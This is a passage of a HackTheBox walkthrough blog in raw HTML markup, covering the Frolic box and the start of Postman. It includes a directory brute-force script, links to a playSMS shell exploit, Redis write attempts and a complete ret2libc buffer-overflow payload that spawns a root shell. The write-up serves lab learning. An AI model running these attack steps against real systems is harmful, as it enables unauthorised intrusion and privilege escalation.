9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Host&amp;#39;: &amp;#39;10.10.10.111:9999&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;en-US,en;q=0.5&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Encoding&amp;#39;: &amp;#39;gzip, deflate&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Connection&amp;#39;: &amp;#39;close&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=gqpklpimfs5kh12tddv3gjgs06&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;i = 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url = &amp;#34;http://10.10.10.111:9999/loop&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;response = requests.get(url=url,headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while response.status_code == 403:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url += &amp;#34;/loop&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(url=url, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; i += 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(i,response.status_code,url)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(response.text)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(url)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0353.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The 42nd level finally returned something. Although the response was 404, I could continue brute-forcing it.&lt;/p&gt;&#10;&lt;p&gt;I continued brute-forcing the final loop directory. I suddenly had another idea: with this many pages, something had to be hidden in the source or JavaScript files, so I continued digging through them.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0354.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This endpoint also had a CSRF token that could be brute-forced, though that would require another script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0355.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a hint at the very bottom.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0356.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Malay.&lt;/p&gt;&#10;&lt;p&gt;I went through everything. The only hidden content was the material above.&lt;/p&gt;&#10;&lt;p&gt;I had explored everything I could, except the incomprehensible encrypted content in succes.html from the beginning.&lt;/p&gt;&#10;&lt;p&gt;At this point I was 100% sure it had to be examined, so I started Googling.&lt;/p&gt;&#10;&lt;p&gt;I pasted all of the following into Google and got a result:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;?. ?!.?. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. ..!.? &amp;hellip;.. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;.. ..?.? !.?.. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! &amp;hellip;.. &amp;hellip;.. .!.?. &amp;hellip;.. .!?!! .?!!! !!!?. ?!.?! !!!!! !&amp;hellip;! &amp;hellip;.. &amp;hellip;.. .!.!! !!!!! !!!!! !!!.? &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! ?!!.? &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .?.?! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;!. !!!!! !!.?. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;?. ?!.?. &amp;hellip;.. ..!.? &amp;hellip;.. ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?&amp;hellip;. &amp;hellip;.. &amp;hellip;.. &amp;hellip;!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;?. ?!.?. &amp;hellip;.. !&amp;hellip;. &amp;hellip;.. ..!.! !!!!! !.!!! !!&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?&amp;hellip; &amp;hellip;.! ?!!.? &amp;hellip;.. .?.?! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. ..!?! !.?.. &amp;hellip;.. &amp;hellip;.. ..?.? !.?.. !.?.. &amp;hellip;.. ..!?! !.?.. &amp;hellip;.. .?.?! .?&amp;hellip; .!.?. &amp;hellip;.. .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!&amp;hellip; &amp;hellip;.. &amp;hellip;!. ?&amp;hellip;. &amp;hellip;.. !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? &amp;hellip;.. ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !&amp;hellip;. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. !.!.? &amp;hellip;.. &amp;hellip;.. .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. &amp;hellip;.. &amp;hellip;.! ?!!.? &amp;hellip;.. &amp;hellip;.. ?.?!. ?&amp;hellip;. &amp;hellip;.. &amp;hellip;.. ..!.. &amp;hellip;.. &amp;hellip;.. .!.?. &amp;hellip;.. &amp;hellip;!? !!.?! !!!!! !!?.? !.?!! !!!.? &amp;hellip;.. ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. &amp;hellip;.. &amp;hellip;!? !!.?. &amp;hellip;.. ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. &amp;hellip;.. ..!?! !.?.. &amp;hellip;.. .?.?! .?&amp;hellip; .!.?. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! &amp;hellip;.. ..!.! !!!!! !.?.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0357.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0358.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Nothing here check /asdiSIAJJ0QWE9JAS&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0359.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0360.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was a ZIP file. An ordinary file couldn&amp;rsquo;t begin with PK, whereas every ZIP file does.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0361.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0362.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried every password I had obtained.&lt;/p&gt;&#10;&lt;p&gt;The final password was password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0363.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0364.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It decoded to this:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;+++++ +++++ [-&amp;gt;++ +++++ +++&amp;lt;] &amp;gt;++++ +.&amp;mdash; &amp;ndash;.++ +++++ .&amp;lt;+&lt;/p&gt;&#10;&lt;p&gt;++ [-&amp;gt;++ +&amp;lt;]&amp;gt;+&lt;/p&gt;&#10;&lt;p&gt;++.&amp;lt;+ ++[-&amp;gt; &amp;mdash;&amp;lt;] &amp;gt;&amp;mdash;- &amp;ndash;.&amp;ndash; &amp;mdash;&amp;ndash; .&amp;lt;+++&lt;/p&gt;&#10;&lt;p&gt;+[-&amp;gt;+ +++&amp;lt;] &amp;gt;+++. &amp;lt;+++[ -&amp;gt;&amp;mdash;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;]&amp;gt;&amp;ndash; .&amp;lt;+++ [-&amp;gt;++ +&amp;lt;]&amp;gt;+ .&amp;ndash;&lt;/p&gt;&#10;&lt;p&gt;-. &amp;lt;+++[ -&amp;gt;&amp;mdash; &amp;lt;]&amp;gt;&amp;ndash; &amp;mdash;-. &amp;lt;++++ [-&amp;gt;++ ++&amp;lt;]&amp;gt;&lt;/p&gt;&#10;&lt;p&gt;++..&amp;lt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I had learned my lesson this time and pasted it straight into Google.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0365.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0366.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The default account was admin, and I successfully logged in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0367.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/42044" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/42044&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;An automated script for 42044:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/jasperla/CVE-2017-9101" target="_blank" rel="noopener"&#10; &gt;https://github.com/jasperla/CVE-2017-9101&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It gets a shell directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0368.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0369.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Database root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0370.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;44298.c matched perfectly, so I uploaded it directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0371.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It failed because the target was 32-bit. Compiling it for 32-bit should fix it.&lt;/p&gt;&#10;&lt;p&gt;gcc 44298.c -m32 -static -o 44298&lt;/p&gt;&#10;&lt;p&gt;Well, even after compiling it for 32-bit, it still failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0372.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After several attempts, I confirmed this exploit simply wouldn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0373.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It says &amp;lt;, but it still doesn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;There was a settings.js file under /home/sahay/.node-red; its password cracked to password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0374.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0375.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0376.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Node-RED was running as sahay, so compromising Node-RED would directly grant sahay privileges. I continued looking.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0377.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0378.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked these files one by one and found nothing. I could only return to the home directories.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0379.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I saw something interesting: there were two public keys above. But to connect, I needed a private key; the public keys were completely useless to me.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0380.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The two files were identical.&lt;/p&gt;&#10;&lt;p&gt;Continuing through the home directory, I found this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0381.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It had the SUID bit.&lt;/p&gt;&#10;&lt;p&gt;It was an ELF binary. Running it briefly produced this prompt:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0382.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0383.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It repeats whatever you say. This clearly required reverse engineering. I can read some C/C++ code, but I really haven&amp;rsquo;t learned reverse-engineering assembly.&lt;/p&gt;&#10;&lt;p&gt;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;- Here I learned that a buffer-overflow technique was required. So far, I had only determined this:&lt;/p&gt;&#10;&lt;p&gt;It could accept at most aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, or 49 characters.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll leave this part unfinished for now and return after learning buffer overflows.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;This was the second day on this box. OSCP buffer overflows seem fairly basic, and after studying the fundamentals for a day, I understood them.&lt;/p&gt;&#10;&lt;p&gt;I found the rop program again and started analyzing it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0384.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first setuid pushes a 0, meaning root privileges.&lt;/p&gt;&#10;&lt;p&gt;The second location calls the vuln function, passing an eax argument that is ultimately assigned to vuln.&lt;/p&gt;&#10;&lt;p&gt;None of that really matters. Our main goal is to locate EIP.&lt;/p&gt;&#10;&lt;p&gt;Pass an argument directly.&lt;/p&gt;&#10;&lt;p&gt;Use 52 letters to identify the position. You can of course use more characters, as long as they differ.&lt;/p&gt;&#10;&lt;p&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0385.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;52 characters caused an error, but the pointer actually landed at 0x08048400, the deregister_tm_clones function.&lt;/p&gt;&#10;&lt;p&gt;When 4 filler characters were added after those 52 characters, this happened:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0386.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I added 4 characters, all 1s, and their hexadecimal ASCII value appeared. That showed us where EIP was.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0387.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Next, locate the target&amp;rsquo;s dynamic-link library.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0388.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Record the address: 0xb7e19000.&lt;/p&gt;&#10;&lt;p&gt;We need two functions here, system and exit, to execute a system command and exit the process.&lt;/p&gt;&#10;&lt;p&gt;We also need the address of the /bin/sh string.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;ww-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; system&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; system&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0&lt;/p&gt;&#10;&lt;p&gt;www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; exit&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; exit&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0&lt;/p&gt;&#10;&lt;p&gt;www-data@frolic:/home/ayush/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep &amp;ldquo;/bin/sh&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep &amp;ldquo;/bin/sh&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;15ba0b /bin/sh&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;With the offsets found, just add them using a calculator.&lt;/p&gt;&#10;&lt;p&gt;0xB7E53DA0&lt;/p&gt;&#10;&lt;p&gt;0xB7E479D0&lt;/p&gt;&#10;&lt;p&gt;0xB7F74A0B&lt;/p&gt;&#10;&lt;p&gt;x86 uses little-endian byte order, so the bytes must be reversed.&lt;/p&gt;&#10;&lt;p&gt;\xa0\x3d\xe5\xb7&lt;/p&gt;&#10;&lt;p&gt;\xd0\x79\xe4\xb7&lt;/p&gt;&#10;&lt;p&gt;\x0b\x4a\xf7\xb7&lt;/p&gt;&#10;&lt;p&gt;Write them in recognizable hexadecimal form and concatenate the payload.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;./rop $(echo -e &amp;ldquo;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\xa0\x3d\xe5\xb7\xd0\x79\xe4\xb7\x0b\x4a\xf7\xb7&amp;rdquo;)&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0389.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Executing it completed the box. This one taught me some basic buffer-overflow techniques, which was quite useful. Going deeper still seems difficult, but I&amp;rsquo;ll look for more buffer-overflow boxes to study later.&lt;/p&gt;&#10;&lt;h2 id="18postman"&gt;&lt;a href="#18postman" class="header-anchor"&gt;&lt;/a&gt;18.Postman&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0390.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0391.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll just give the results again.&lt;/p&gt;&#10;&lt;p&gt;Port 22 revealed no information.&lt;/p&gt;&#10;&lt;p&gt;Port 80 revealed the domain postman.htb, but nothing else. I started directory brute-forcing.&lt;/p&gt;&#10;&lt;p&gt;I focused on Redis on port 6379. It allowed unauthenticated access and was version 4.0.9. Writing a shell failed due to insufficient permissions; writing a scheduled task failed for the same reason; writing a public key also failed for the same reason.&lt;/p&gt;&#10;&lt;p&gt;In other words, it could write files, but lacked permission in many directories. I could try writing a public key into a home directory, but I didn&amp;rsquo;t know what users existed, so I left that possibility open.&lt;/p&gt;&#10;&lt;p&gt;There was also a master-replica technique, but that couldn&amp;rsquo;t be exploited either.&lt;/p&gt;&#10;&lt;p&gt;Port 10000 ran MiniServ 1.910 (Webmin httpd). Kali&amp;rsquo;s search found nothing for this version, but Google did, and the version matched exactly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0392.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The prerequisite was a password.&lt;/p&gt;&#10;&lt;p&gt;My conclusion so far was that port 22 had no vulnerability. Port 6379 could write files, but not anything that would get a shell; other files could be written without a problem.&lt;/p&gt;&#10;&lt;p&gt;Ports 80 and 10000 were the main focus. I searched for UDP port 10000 and found this:&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;NDMP (Network Data Management Protocol) is a protocol designed specifically for data-backup systems on NAS devices.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;However, NDMP uses TCP port 10000, not UDP. This was still worth noting.&lt;/p&gt;&#10;&lt;p&gt;For now, I brute-forced ports 80 and 10000. The highest priority was finding the password for port 10000 so I could use the exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0393.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found something interesting. Accessing it without http produced an error, while using https made it hang briefly. At first I thought a redirect was hanging, but now it looked like the backup file was the cause.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0394.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This field changed with the domain in the request. It definitely looked exploitable to me, but I didn&amp;rsquo;t have many ideas.&lt;/p&gt;&#10;&lt;p&gt;UDP port 10000 was reachable.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0395.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried to find client software for this service and connect with it.&lt;/p&gt;&#10;&lt;p&gt;I searched for a long time without finding anything. It seemed to be some kind of NetApp daemon. I couldn&amp;rsquo;t get any information at all, and connecting with nc provided nothing useful.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0396.zh.webp" alt="" loading="lazy" 